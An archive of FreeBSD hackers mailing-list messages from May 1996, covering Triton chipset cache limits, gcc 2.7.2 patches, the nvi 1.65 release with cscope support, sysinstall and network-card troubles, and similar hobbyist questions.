(CDT) From: "Brett L. Hawn" To: "matthew c. mead" cc: Joe Greco , hackers@FreeBSD.ORG, hardware@FreeBSD.ORG Subject: Re: Triton chipset with 256k cache caches 32M only? In-Reply-To: <199605131336.JAA23402@neon.Glock.COM> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Mon, 13 May 1996, matthew c. mead wrote: > Joe Greco writes: > > > > I've got two machine with moderately fast CPUs in them. One > > > is a Cyrix 6x86 120+ (@100Mhz), and the other is a P90 (clocked > > > to 100Mhz). When I have 40M in the machines, the upper 8M is not > > > cached, and my performance is roughly 2/3 of that when they just > > > have 32M and all of the memory is cached. > > > > Does anyone know for sure whether or not 256K cache Triton > > > chipsets only cache up to 32M? Anyone know what I can do to get > > > the other 8M cached as well? I'd really like to have that extra > > > 8M in there, but at 2/3 the performance, it aint gonna happen. > > > Any help is greatly appreciated! > > > My impression was 64M, based on past discussions with Rod Grimes. > > Hmm. That would then imply that there's something wrong > with each of these boards, or that the manufacturer is lazy. > Does anyone know if going to 512K cache will allow me to cache on > all 40M ram? Thanks! Assuming that these are Triton-1 chipsets you will find that anything over 64m leads to non-caching. I would highly suggest getting some of the new ASUS (just my particular favorite) tr-2 chipset motherboards, these solve the caching problem along with many of the other inherent bugs of tr-1 chipsets. Brett From owner-freebsd-hackers Mon May 13 12:02:12 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id MAA13652 for hackers-outgoing; Mon, 13 May 1996 12:02:12 -0700 (PDT) Received: from nol.net (root@dazed.nol.net [206.126.32.101]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id MAA13629 Mon, 13 May 1996 12:02:05 -0700 (PDT) Received: from dazed.nol.net (blh@dazed.nol.net [206.126.32.101]) by nol.net (8.7.5/8.7.3) with SMTP id NAA14409; Mon, 13 May 1996 13:56:32 -0500 (CDT) X-AUTH: NOLNET SENDMAIL AUTH Date: Mon, 13 May 1996 13:56:30 -0500 (CDT) From: "Brett L. Hawn" To: "matthew c. mead" cc: jgreco@brasil.moneng.mei.com, hackers@FreeBSD.ORG, hardware@FreeBSD.ORG Subject: Re: Triton chipset with 256k cache caches 32M only? In-Reply-To: <199605131829.OAA02591@neon.Glock.COM> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Mon, 13 May 1996, matthew c. mead wrote: > > Assuming that these are Triton-1 chipsets you will find that > > anything over 64m leads to non-caching. I would highly suggest > > getting some of the new ASUS (just my particular favorite) tr-2 > > chipset motherboards, these solve the caching problem along > > with many of the other inherent bugs of tr-1 chipsets. > > Well, I'm positive that anything over 64M will lead to > non-caching. I'm also positive that anything over 32M leads to > non-caching. Any ideas on what I should do to get the upper 8M > (megs 32-39) cached? I'm thinking of purchasing a 512k COAST > module, but I want to make sure that will do it before I buy it. I've not run into the >32mb caching before but I can't say as I ever had >32 && <64 in a machine at any given time. Rather than purchasing the module I'd look into the cost of buying a new tr-2 motherboard w/ 512k pipeline-burst cache (Winbob, the hitatchi cache blows goats). Brett From owner-freebsd-hackers Mon May 13 12:33:14 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id MAA15425 for hackers-outgoing; Mon, 13 May 1996 12:33:14 -0700 (PDT) Received: from neon.Glock.COM (neon.glock.com [198.82.228.159]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id MAA15393 Mon, 13 May 1996 12:33:03 -0700 (PDT) Received: (from mmead@localhost) by neon.Glock.COM (8.7.5/8.7.3) id PAA03211; Mon, 13 May 1996 15:32:45 -0400 (EDT) From: "matthew c. mead" Message-Id: <199605131932.PAA03211@neon.Glock.COM> Subject: Re: Triton chipset with 256k cache caches 32M only? To: blh@nol.net (Brett L. Hawn) Date: Mon, 13 May 1996 15:32:45 -0400 (EDT) Cc: jgreco@brasil.moneng.mei.com, hackers@FreeBSD.ORG, hardware@FreeBSD.ORG In-Reply-To: from "Brett L. Hawn" at May 13, 96 01:56:30 pm X-Mailer: ELM [version 2.4 PL24 ME8a] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Brett L. Hawn writes: > On Mon, 13 May 1996, matthew c. mead wrote: > > > Assuming that these are Triton-1 chipsets you will find that > > > anything over 64m leads to non-caching. I would highly suggest > > > getting some of the new ASUS (just my particular favorite) tr-2 > > > chipset motherboards, these solve the caching problem along > > > with many of the other inherent bugs of tr-1 chipsets. > > Well, I'm positive that anything over 64M will lead to > > non-caching. I'm also positive that anything over 32M leads to > > non-caching. Any ideas on what I should do to get the upper 8M > > (megs 32-39) cached? I'm thinking of purchasing a 512k COAST > > module, but I want to make sure that will do it before I buy it. > I've not run into the >32mb caching before but I can't say as I ever had >32 > && <64 in a machine at any given time. Rather than purchasing the module I'd > look into the cost of buying a new tr-2 motherboard w/ 512k pipeline-burst > cache (Winbob, the hitatchi cache blows goats). Unfortunately, I don't see that as an option, as I got this motherboard at a good bargain. If I had had the money to purchase a better motherboard, I would have purchased a TYAN Tomcat with 512K sync PB cache. Thus, my desire to just purchase the 512K sync PB COAST cache module and have caching on all 40M. I just need to verify that will work... :-) -matt -- Matthew C. Mead mmead@Glock.COM http://www.Glock.COM/~mmead/ From owner-freebsd-hackers Mon May 13 13:25:57 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id NAA19177 for hackers-outgoing; Mon, 13 May 1996 13:25:57 -0700 (PDT) Received: from linux4nn.gn.iaf.nl (root@linux4nn.gn.iaf.nl [193.67.144.34]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id NAA19161 for ; Mon, 13 May 1996 13:25:48 -0700 (PDT) Received: from uni4nn.iaf.nl (root@uni4nn.iaf.nl [193.67.144.33]) by linux4nn.gn.iaf.nl (8.6.9/8.6.9) with SMTP id WAA21978 for ; Mon, 13 May 1996 22:27:17 +0200 Received: by uni4nn.iaf.nl with UUCP id AA10453 (5.67b/IDA-1.5 for FreeBSD-hackers@freebsd.org); Mon, 13 May 1996 22:26:56 +0200 Received: by iafnl.es.iaf.nl with UUCP id AA00451 (5.67b/IDA-1.5 for FreeBSD-hackers@freebsd.org); Mon, 13 May 1996 21:42:11 +0200 Received: (from wilko@localhost) by yedi.iaf.nl (8.6.12/8.6.6) id VAA01472 for FreeBSD-hackers@freebsd.org; Mon, 13 May 1996 21:02:31 +0200 From: Wilko Bulte Message-Id: <199605131902.VAA01472@yedi.iaf.nl> X-Organisation: Private FreeBSD site - Arnhem - The Netherlands Subject: using scsi(8) To: FreeBSD-hackers@freebsd.org (FreeBSD hackers list) Date: Mon, 13 May 1996 21:02:31 +0200 (MET DST) X-Mailer: ELM [version 2.4 PL23] Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi there I'm figgling around with the scsi(8) command to get LOG PAGES info from my DLT drive. It should be possible to get quite a lot of info from the drive in this way. My problem is that the scsi(3) man page that describes the arguments that scsi(8) can use is more or less incomprehensible to me :( Especially the part about the _fmt_ parameters (which are quite essential to my efforts) I can't seem to figure out. I appreciate any info, and especially some annotated examples about this. Thanks _ __________________________________________________________________________ | / o / / _ Wilko Bulte email: wilko@yedi.iaf.nl |/|/ / / /( (_) Private FreeBSD site - Arnhem - The Netherlands -------------------------------------------------------------------------------- From owner-freebsd-hackers Mon May 13 14:11:48 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id OAA23261 for hackers-outgoing; Mon, 13 May 1996 14:11:48 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.211]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id OAA23242 Mon, 13 May 1996 14:11:41 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id OAA10555; Mon, 13 May 1996 14:09:49 -0700 From: Terry Lambert Message-Id: <199605132109.OAA10555@phaeton.artisoft.com> Subject: Re: A stuffed Daemon plushie (Chuck), anyone? To: grog@lemis.de (Greg Lehey) Date: Mon, 13 May 1996 14:09:49 -0700 (MST) Cc: jkh@FreeBSD.org, hackers@FreeBSD.org, velte@allegro.lemis.de In-Reply-To: <199605120729.JAA29185@allegro.lemis.de> from "Greg Lehey" at May 12, 96 09:29:41 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk > > There is, of course, a downside to having the daemon made by the same > > German craftsmen who brought you the Porche and the BMW, and that's > > that they want a fair bit of money for it! $60, to be exact, which is > > indeed pretty high but I suppose that if you really want a stuffed > > daemon which will last more than 10 minutes in the hands of a 6 year > > old, you gotta pay the price. > > Pity. I think that's rather more than I'm prepared to pay. I agree. My niece (whom I have vowed to give bizzarre stuffed animals to so she does not settle on the mundane "bear") has already decided that the nylon triceratops is her favorite stuffed animal (it having displaced her plush diplodycus). So I have little incentive to fork over a full $60. 8-(. >From the pictures, I was *darn* tempted, but since the finished guy is guaranteed to be different, I can't see it. They would probably sell like hotcakes at $30-$40/pop at the next Uniforum (they relaxed restriction on sales on the floor, right?). I'd buy 3 at that price. (call it $39.95 so I can convince myself I'm spending $10 less than I really am. 8-)). Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Mon May 13 16:21:10 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id QAA05685 for hackers-outgoing; Mon, 13 May 1996 16:21:10 -0700 (PDT) Received: from irz301.inf.tu-dresden.de (irz301.inf.tu-dresden.de [141.76.1.11]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id QAA05650 Mon, 13 May 1996 16:20:49 -0700 (PDT) Received: from sax.sax.de by irz301.inf.tu-dresden.de (8.6.12/8.6.12-s1) with ESMTP id BAA27752; Tue, 14 May 1996 01:20:41 +0200 Received: by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id BAA16082; Tue, 14 May 1996 01:20:39 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.7.5/8.6.9) id BAA02422; Tue, 14 May 1996 01:18:17 +0200 (MET DST) From: J Wunsch Message-Id: <199605132318.BAA02422@uriah.heep.sax.de> Subject: Re: Triton chipset with 256k cache caches 32M only? To: blh@nol.net (Brett L. Hawn) Date: Tue, 14 May 1996 01:18:16 +0200 (MET DST) Cc: mmead@Glock.COM, jgreco@brasil.moneng.mei.com, hackers@freebsd.org, hardware@freebsd.org Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: from "Brett L. Hawn" at "May 13, 96 01:24:52 pm" X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E X-Mailer: ELM [version 2.4ME+ PL17 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk As Brett L. Hawn wrote: > I would highly suggest getting some of the new > ASUS (just my particular favorite) tr-2 chipset motherboards, these solve > the caching problem along with many of the other inherent bugs of tr-1 > chipsets. They even can do ECC now if you're using parity SIMMs! (About to get my new board into service by tomorrow or thursday. :) -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Mon May 13 17:04:08 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id RAA09352 for hackers-outgoing; Mon, 13 May 1996 17:04:08 -0700 (PDT) Received: from paris.CS.Berkeley.EDU (paris.CS.Berkeley.EDU [128.32.34.47]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id RAA09262 for ; Mon, 13 May 1996 17:03:45 -0700 (PDT) Received: from paris.CS.Berkeley.EDU (localhost.Berkeley.EDU [127.0.0.1]) by paris.CS.Berkeley.EDU (8.6.11/8.6.9) with ESMTP id RAA22426; Mon, 13 May 1996 17:03:23 -0700 From: Josh MacDonald Message-Id: <199605140003.RAA22426@paris.CS.Berkeley.EDU> To: Chuck Robey cc: FreeBSD hackers Mailing list Subject: Re: Patches for gcc 2.7.2 In-reply-to: Your message of "Mon, 13 May 1996 11:02:31 EDT." Date: Mon, 13 May 1996 17:03:20 -0700 Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > On Mon, 13 May 1996, Kees Jan Koster wrote: > > > Hoi Hackers, > > > > I've tried to install g++ 2.7.2 on my 2.1.0-release machine, but it does no >t > > seem an out-of-the-box installation. > > > > I modified config/freebsd.h to not generate .weak symbols, and then g++ > > installs and runs all right. However, I get some weird errors from program > > compiled with 2.7.2. Some die on a signal 11, usually before entering main( >) > > or after exiting main(). Usually this change alone works for me. There are still some things you need to modify in the headers to get the correct types for va_list and wchar_t as far as I remember. I've used g++-2.7.2 to compile some fairly compilcated non-trivial code and have had no problems. I can send you the set of patches that I use, or upload binaries. -josh > > I think that John Polstra's work getting ELF to work for FreeBSD (both > Linux and FreeBSD native) included patches to port gcc-2.7.2. I think > you ought to ask him, or check out the elfkit stuff (which includes those > patches) on ftp.polstra.com. > > > > > Gdb reports the following on the particular program, when I trace main() > > > > > > 25 exit (0); > > > (gdb) next > > > > > > Program received signal SIGSEGV, Segmentation fault. > > > 0x81434f8 in free () > > > > > > > Before I start digging any deeper, I'd like to be sure that my g++ is good. > > > > Normally I would not bother anyone with this kind of problem, but the same > > code compiles and runs fine on Linux, SunOS and HP-UX and using g++ 2.6.3 > > on FreeBSD. This is also why I ask here instead of the gcc buglist. > > > > Could someone help me out or does anyone have patches for 2.7.2? What shoul >d > > I patch out/in? From owner-freebsd-hackers Mon May 13 18:25:00 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id SAA16414 for hackers-outgoing; Mon, 13 May 1996 18:25:00 -0700 (PDT) Received: from mail0.iij.ad.jp (root@mail0.iij.ad.jp [192.244.176.61]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id SAA16403 for ; Mon, 13 May 1996 18:24:58 -0700 (PDT) Received: from uucp1.iij.ad.jp (uucp1.iij.ad.jp [192.244.176.73]) by mail0.iij.ad.jp (8.6.12+2.4W/3.3W9-MAIL) with ESMTP id KAA15417 for ; Tue, 14 May 1996 10:24:48 +0900 Received: (from uucp@localhost) by uucp1.iij.ad.jp (8.6.12+2.4W/3.3W9-UUCP) with UUCP id KAA17057 for hackers@freebsd.org; Tue, 14 May 1996 10:24:47 +0900 Received: from xxx.fct.kgc.co.jp by yyy.kgc.co.jp (8.7.5/3.4W:95122611) id JAA27030; Tue, 14 May 1996 09:41:41 +0900 (JST) Received: from localhost by xxx.fct.kgc.co.jp (8.6.12/3.3W8:95062916) id JAA03262; Tue, 14 May 1996 09:41:41 +0900 Message-Id: <199605140041.JAA03262@xxx.fct.kgc.co.jp> To: hackers@freebsd.org Subject: Does /stand/sysinstall overwrite existing system? Date: Tue, 14 May 1996 09:41:40 +0900 From: Toshihiro Kanda Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I'm running FreeBSD 2.1 on sd1, and unformatted disk is on sd0. I wanted to install FreeBSD 2.2-960501 onto sd0 from existing FreeBSD by running /stand/sysinstall. I selected only sd0 for `Select Drive(s)' dialog, then continued. Unfortunately, it seemed to freeze when `Extracting bin into / directory...' indicated `7%'. I rebooted the machine, then found that root and /etc or /bin stuff of sd1 was overwritten by sysinstall so that nobody cannot login anymore. Is this the expected behavior or any kind of bug? Is there a way to install a new system by existing sysinstall? candy@fct.kgc.co.jp (Toshihiro Kanda) From owner-freebsd-hackers Mon May 13 18:41:07 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id SAA18214 for hackers-outgoing; Mon, 13 May 1996 18:41:07 -0700 (PDT) Received: from mongoose.bostic.com (bostic@mongoose.BSDI.COM [205.230.230.129]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id SAA18198 for ; Mon, 13 May 1996 18:41:02 -0700 (PDT) Received: (from bostic@localhost) by mongoose.bostic.com (8.7.4/8.7.3) id UAA24816; Mon, 13 May 1996 20:24:27 -0400 (EDT) Date: Mon, 13 May 1996 20:24:27 -0400 (EDT) From: Keith Bostic Message-Id: <199605140024.UAA24816@mongoose.bostic.com> To: bostic@bsdi.com Subject: nex/nvi version 1.65 is now available for anonymous ftp Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Version 1.65 of nex/nvi is now available. There have been a number of changes since the last public release of nvi: + I've integrated the System V tool Cscope into the nvi tags stack frame. This means that you can use Cscope to generate tags stacks and move around in them, much like the tags stacks generated using ctags. I've attached a description of how Cscope works with nvi below. + I've added a "cedit" edit option, and colon command-line editing is now optional, instead of required. If you set both the cedit and filec edit options to the same character, it acts as a colon command-line command if it's entered as the first character of the line, and as a file completion command otherwise. + Nvi has an additional way to specify case-independent RE's, enabled using the iclower edit option. If the iclower edit option is set, all RE's are case-insensitive as long as they don't contain any upper-case characters. If they contain any upper-case characters, the search or substitution is case sensitive. For example, the vi search command /foo would be case-insensitive, whereas the search command /Foo would be case-sensitive. + Nvi now has incremental searching, enabled using the searchincr edit option. If this option is set, each new character you enter in the search string continues the search and updates the screen to the new location. This feature is still a little new and has some rough edges. If this is a feature that you care about, I'd be interested in getting some feedback. + Paths in the initial startup screen are now truncated so that they fit on a single line, if possible. This should help the problem where user keystrokes were lost when entering vi. The file and ^G commands still display the entire path, regardless of the message lines that are required. There's a backward compatibility issue in version 1.65: + The cursor now ends up on the FIRST character of the put text for all versions of the vi put commands, regardless of the source of the text. (The problem was that, historically, put commands for named buffers behaved differently than for unnamed buffers.) This change is necessary in order to match some amount of System III/V derived behavior and to match POSIX 1003.2, however, it is likely to break user macros. If you're interested in a further review of the changes that have been made, a complete change log is included in the distribution, in the file docs/changelog. Version 1.65 is available for anonymous ftp from the usual two sites: ftp.cs.berkeley.edu:ucb/4bsd/nvi.ALPHA.1.65.tar.gz ftp.bostic.com:pub/nvi.ALPHA.1.65.tar.gz Note, the UC Berkeley site is likely to provide faster transfer speeds. Please let me know if you have any problems, and thanks for using nvi! --keith =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Cscope Notes: The nvi tags structure has been reworked to handle the notion of multiple locations per tag. This supports cscope, which returns multiple locations per query. It will hopefully support ctags programs that create databases with multiple locations per tag as well. There is now a list of "tag queues" chained from each screen. Each tag queue has one or more "tag locations". +----+ +----+ +----+ +----+ | EP | -> | Q1 | <-- | T1 | <-- | T2 | +----+ +----+ --> +----+ --> +----+ | +----+ +----+ | Q2 | <-- | T1 | +----+ --> +----+ | +----+ +----+ | Q3 | <-- | T1 | +----+ --> +----+ In the above diagram, each "Q" is a "tag queue", and each "T" is a tag location. Generally, the commands: :tag create a new Q ^[ create a new Q :cscope find create a new Q :tagnext move to the next T :tagprev move to the previous T :tagpop discard one or more Q's ^T discard the most recent Q :tagtop discard all Q's More specifically: :cs[cope] a[dd] cscope-dir Attach to the cscope database in cscope-dir. :cs[cope] f[ind] c|d|e|f|g|i|s|t buffer|pattern Query all attached cscopes for the pattern. The pattern is a regular expression. If the pattern is a double-quote character followed by a valid buffer name (e.g., "t), then the contents of the named buffer are used as the pattern. c: find callers of name d: find all function calls made from name e: find pattern f: find files with name as substring g: find definition of name i: find files #including name s: find all uses of name t: find assignments to name The find command pushes the current location onto the tags stack, and switches to the first location resulting from the query, if the query returned at least one result. :cs[cope] h[elp] [command] List the cscope commands, or usage help on one command. :display c[onnections] Display the list of cscope connections :display t[ags] The tags display has been enhanced to display multiple tag locations per tag query. :cs[cope] k[ill] # Kill cscope connection number #. :cs[cope] r[eset] Kill all attached cscopes. Useful if one got hung but you don't know which one. :tagn[ext][!] Move to the next tag resulting from a query. :tagpr[ev][!] Return to the previous tag resulting from a query. :tagp[op], ^T Return to the previous tag group (no change). :tagt[op] Discard all tag groups (no change). Maps that you may find useful: " ^N: move to the next tag map ^N :tagnext^M " ^P: move to the previous tag map ^P :tagprev^M " Tab+letter performs a C-Scope query on the current word. " C-Scope 12.9 has a text-string query (type t). " C-Scope 13.3 replaces it with an assignment query; hence a==t. map a "tye:cs find t"t map c "tye:cs find c"t map d "tye:cs find d"t map e "tye:cs find e"t map f "tye:cs find f"t map g "tye:cs find g"t map i "tye:cs find i"t map s "tye:cs find s"t map t "tye:cs find t"t To initialize nvi with a set of cscope directories, use the environment variable CSCOPE_DIRS. This variable should contain a -separated list of directories containing cscope databases. (This MAY be changed to be an edit option, I haven't decided, yet.) Each cscope directory must contain a file named "cscope.out" which is the main cscope database, or nvi will not attempt to connect to a cscope to handle requests for that database. The file "cscope.tpath" may contain a colon-separated directory search path which will be used to find the files reported by cscope. If the cscope.tpath does not exist, then the paths are assumed to be relative to the cscope directory itself. This is an extension to the standard cscope, but seems important enough to keep. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Cscope Availability: UNIXWare System V Release 4.0 variants such as Sun Solaris 2.x (/opt/SUNWspro/bin) have version 11.5, and UNIXWare System V Release 4.1 has version 12.10 with an option for much faster searching. You can buy version 13.3 source with an unrestricted license for $400 from AT&T Software Solutions by calling +1-800-462-8146. Binary redistribution of cscope is an additional $1500. From owner-freebsd-hackers Mon May 13 20:09:37 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id UAA28465 for hackers-outgoing; Mon, 13 May 1996 20:09:37 -0700 (PDT) Received: from metal.ops.neosoft.com (root@metal.ops.neosoft.com [206.109.5.25]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id UAA28455 for ; Mon, 13 May 1996 20:09:29 -0700 (PDT) Received: (from smace@localhost) by metal.ops.neosoft.com (8.7.5/8.6.10) id WAA17228 for hackers@freebsd.org; Mon, 13 May 1996 22:09:02 -0500 (CDT) From: Scott Mace Message-Id: <199605140309.WAA17228@metal.ops.neosoft.com> Subject: 3c579 and -stable To: hackers@freebsd.org Date: Mon, 13 May 1996 22:09:01 -0500 (CDT) X-Mailer: ELM [version 2.4 PL24 ME8a] Content-Type: text Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I'm having problems getting some 3c579's working with -stable (cvs-cur.1998). The cards probe, however they do not move any packets. May 13 19:47:38 freebsd /kernel: FreeBSD 2.1-960410 #4: Mon May 13 19:45:37 CDT 1996 May 13 19:47:38 freebsd /kernel: smace@crash.ops.neosoft.com:/usr/src/sys/compile/FREEBSD May 13 19:47:39 freebsd /kernel: CPU: i486 DX2 (486-class CPU) May 13 19:47:39 freebsd /kernel: Origin = "GenuineIntel" Id = 0x435 Stepping=5 May 13 19:47:39 freebsd /kernel: Features=0x3 May 13 19:47:39 freebsd /kernel: real memory = 16777216 (16384K bytes) May 13 19:47:39 freebsd /kernel: avail memory = 15220736 (14864K bytes) May 13 19:47:39 freebsd /kernel: eisa0: May 13 19:47:39 freebsd /kernel: Probing for devices on the EISA bus May 13 19:47:39 freebsd /kernel: ep0: <3Com 3C579-TP EISA Network Adapter> at 0x1000-0x100f 0x1c80-0x1c89 irq 15 on eisa0 slot 1 May 13 19:47:39 freebsd /kernel: ep0: aui/utp[*UTP*] address 00:20:af:a4:89:51 May 13 19:47:39 freebsd /kernel: ep1: <3Com 3C579-TP EISA Network Adapter> at 0x8000-0x800f 0x8c80-0x8c89 irq 11 on eisa0 slot 8 May 13 19:47:39 freebsd /kernel: ep1: aui/utp[*AUI*] address 00:20:af:6b:06:58 May 13 19:47:39 freebsd /kernel: Probing for devices on the ISA bus: May 13 19:47:39 freebsd /kernel: sc0 at 0x60-0x6f irq 1 on motherboard May 13 19:47:39 freebsd /kernel: sc0: VGA color <16 virtual consoles, flags=0x0> May 13 19:47:39 freebsd /kernel: ed0 not found at 0x280 May 13 19:47:39 freebsd /kernel: ed1 not found at 0x300 May 13 19:47:39 freebsd /kernel: sio0 not found at 0x3f8 May 13 19:47:39 freebsd /kernel: sio1 not found at 0x2f8 May 13 19:47:39 freebsd /kernel: fdc0 at 0x3f0-0x3f7 irq 6 drq 2 on isa May 13 19:47:39 freebsd /kernel: fdc0: NEC 72065B May 13 19:47:39 freebsd /kernel: fd0: 1.44MB 3.5in May 13 19:47:39 freebsd /kernel: wdc0 at 0x1f0-0x1f7 irq 14 on isa May 13 19:47:39 freebsd /kernel: wdc0: unit 0 (wd0): May 13 19:47:39 freebsd /kernel: wd0: 814MB (1667232 sectors), 1654 cyls, 16 heads, 63 S/T, 512 B/S May 13 19:47:39 freebsd /kernel: ep2 not found at 0x300 May 13 19:47:40 freebsd /kernel: npx0 on motherboard May 13 19:47:40 freebsd /kernel: npx0: INT 16 interface Pertinent parts from my kernel config: controller eisa0 #EISA 3com 579 device ep0 at eisa? port 0x1000 net irq 15 vector epintr device ep1 at eisa? port 0x8000 net irq 11 vector epintr I've tried just device ep0 and various other interations, no luck. Scott From owner-freebsd-hackers Mon May 13 20:27:35 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id UAA00706 for hackers-outgoing; Mon, 13 May 1996 20:27:35 -0700 (PDT) Received: from dfw-ix11.ix.netcom.com (dfw-ix11.ix.netcom.com [206.214.98.11]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id UAA00694 for ; Mon, 13 May 1996 20:27:31 -0700 (PDT) Received: from bugnet.ix.netcom.com (ix-har-tx1-26.ix.netcom.com [205.184.162.58]) by dfw-ix11.ix.netcom.com (8.6.13/8.6.12) with SMTP id UAA11283 for ; Mon, 13 May 1996 20:28:16 -0700 Message-ID: <317CE6D3.48C7@ix.netcom.com> Date: Tue, 23 Apr 1996 22:19:00 +0800 From: TeeN-ZinE Organization: Hell and Below Productions X-Mailer: Mozilla 3.0b3 (Win95; I) MIME-Version: 1.0 To: hackers@freebsd.org Subject: Help Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Ok i have been tryin to optain a Unix type system for a while now via FTP. But as you know it can be hell. I was wondering if you can tell me what directories i would need to download to get the system and where and how i would install them. the help files make no since to me at all. I would be very greatful. Thanks From owner-freebsd-hackers Mon May 13 22:38:02 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id WAA13219 for hackers-outgoing; Mon, 13 May 1996 22:38:02 -0700 (PDT) Received: from paris.CS.Berkeley.EDU (paris.CS.Berkeley.EDU [128.32.34.47]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id WAA13191 for ; Mon, 13 May 1996 22:37:55 -0700 (PDT) Received: (from jmacd@localhost) by paris.CS.Berkeley.EDU (8.6.11/8.6.9) id WAA23209 for freebsd-hackers@freebsd.org; Mon, 13 May 1996 22:37:54 -0700 Date: Mon, 13 May 1996 22:37:54 -0700 From: Josh MacDonald Message-Id: <199605140537.WAA23209@paris.CS.Berkeley.EDU> To: freebsd-hackers@freebsd.org Subject: executor Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk When trying to register a copy of Executor, I get deceit-~ % executor couldn't stat "main.c:431; fatal error in `ROMlib_writenameorgkey':" Broken pipe deceit-~ % su Password: # executor LINUX: 'ioctl' fd=6, typ=0x53(S), num=0xb not implemented couldn't stat "main.c:431; fatal error in `ROMlib_writenameorgkey':" Broken pipe # Has anyone gotten past this? -josh From owner-freebsd-hackers Mon May 13 23:40:21 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id XAA20507 for hackers-outgoing; Mon, 13 May 1996 23:40:21 -0700 (PDT) Received: from paris.CS.Berkeley.EDU (paris.CS.Berkeley.EDU [128.32.34.47]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id XAA20496 for ; Mon, 13 May 1996 23:40:18 -0700 (PDT) Received: (from jmacd@localhost) by paris.CS.Berkeley.EDU (8.6.11/8.6.9) id XAA23316 for freebsd-hackers@freebsd.org; Mon, 13 May 1996 23:40:15 -0700 Date: Mon, 13 May 1996 23:40:15 -0700 From: Josh MacDonald Message-Id: <199605140640.XAA23316@paris.CS.Berkeley.EDU> To: freebsd-hackers@freebsd.org Subject: sound support in linux emulation Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I can't get sound support to work. Quake nor Maelstrom nor Executor work. Can anyone get these to work? -josh From owner-freebsd-hackers Tue May 14 00:22:12 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id AAA27060 for hackers-outgoing; Tue, 14 May 1996 00:22:12 -0700 (PDT) Received: from otax.tky.hut.fi (root@otax.tky.hut.fi [130.233.32.32]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id AAA27052 for ; Tue, 14 May 1996 00:22:05 -0700 (PDT) Received: from pooh.tky.hut.fi (root@pooh.tky.hut.fi [130.233.33.233]) by otax.tky.hut.fi (8.6.13/8.6.5) with ESMTP id KAA14328 for ; Tue, 